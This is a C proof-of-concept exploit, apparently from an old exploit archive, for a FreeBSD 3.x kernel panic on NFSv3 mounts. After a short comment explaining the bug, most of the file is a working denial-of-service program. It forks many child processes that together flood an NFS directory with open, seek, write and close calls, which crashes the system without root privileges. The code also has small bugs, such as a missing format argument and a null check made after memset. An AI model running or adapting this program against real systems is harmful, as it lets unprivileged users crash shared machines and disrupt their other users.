/*
 
 There is a problem with FreeBSD 3.2-RELEASE
 and -STABLE and perhaps FreeBSD 3.x.
 
 The system panics when a program does
 multiple access on nfs v3 mounted directory
 with default mount options (ie: mount x.x.x.x:/nfs /usr2).
 FreeBSD 3.2 crashes immediatly with no
 warnings and just a "panic: getnewbuf:
 cannot get buffer, infinite recursion
 failure" without root privileges.
 
 This is simple to reproduce with a
 program that creates a lot of process
 (ie: 120) accessing the nfs mounted
 directory and just does "open", "seek",
 "write", "close". NetBSD is not vulnerable.
 
                      Spe & Gro.
                           spe@oleane.net
                           gro@oleane.net
 
*/


#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <sys/time.h>
#include <time.h>

void usr1()
{}


int main(int argc, char ** argv)
{
  int nbfils;
  int nbopen;
  int tbloc;
  int tfichier;
  char filename[512];
  int i, j, k, f;
  int pid;
  struct timeval start;
  struct timeval end;
  float delay;
  void * bloc;

  if (argc<6)
    {
      fprintf(stderr, "Syntax: %s rep_nfs/ nb_child nb_open sizefile(Kb) blocksize(kb).\n", argv[0]);
      fprintf(stderr, "ie: %s /TEST/ 120 200 20000 100\n");
      exit(EXIT_FAILURE);
    }

  nbfils = atoi(argv[2]);
  nbopen = atoi(argv[3]);
  tfichier = atoi(argv[4]);
  tbloc = atoi(argv[5]);

  bloc = malloc(tbloc * 1024);
  memset(bloc, 0, tbloc * 1024);
  if (!bloc)
    {
      fprintf(stderr, "%s: ", argv[0]);
      perror("malloc");
      exit(-1);
    }

  fprintf(stderr, "forking %d times...\n", nbfils);

  signal(SIGUSR1, &usr1);

  j = 0;
  for(i=0;i<nbfils;i++)
    {
      pid = fork();
      if (pid<0)
        {
          perror("fork");
          break;
        }
      else
        j++;
      if (!pid) break;
    }


  if (!pid)
    {
      pause();
      pid = getpid();
      srand(pid*10);
      fprintf(stderr, "[%d] child %d: Here I go!\n", pid, i);
      sprintf(filename, "%s%d", argv[1], pid);
      for(i=0;i<nbopen;i++)
        {
          f = open(filename, O_CREAT|O_RDWR, 0666);
          if (f<0)
            {
              fprintf(stderr, "[%d] file %s ", pid, filename);
              perror("open");
              break;
            }
          k = (rand() % (tfichier * 1024));
          j = lseek(f, k, SEEK_SET);
          if (j!=k)
            {
              fprintf(stderr, "[%d] ", pid);
              perror("lseek");
              break;
            }
          // read(f, bloc, tbloc*1024);
          if (write(f, bloc, tbloc*1024)!=tbloc*1024)
            {
              fprintf(stderr, "[%d] ", pid);
              perror("write");
              break;
            }
          sync();
          if (close(f))
            {
              fprintf(stderr, "[%d] ", pid);
              perror("close");
              break;
            }
        }
      exit(0);
    }

  sleep(2);
  gettimeofday(&start, NULL);
  kill(0, SIGUSR1);

  i = 0;
  while (i<nbfils)
    if (waitpid(-1, NULL, 0)>0)
      i++;

  fprintf(stderr, "they're all dead now, exiting.\nYour system is not vulnerable\n");
  gettimeofday(&end, NULL);
  delay = end.tv_sec - start.tv_sec + ((float) (end.tv_usec - start.tv_usec))
          / (float) 1000000;

  i = nbopen * tbloc * nbfils;

  exit(0);
}
/*                    www.hack.co.za              [2000]*/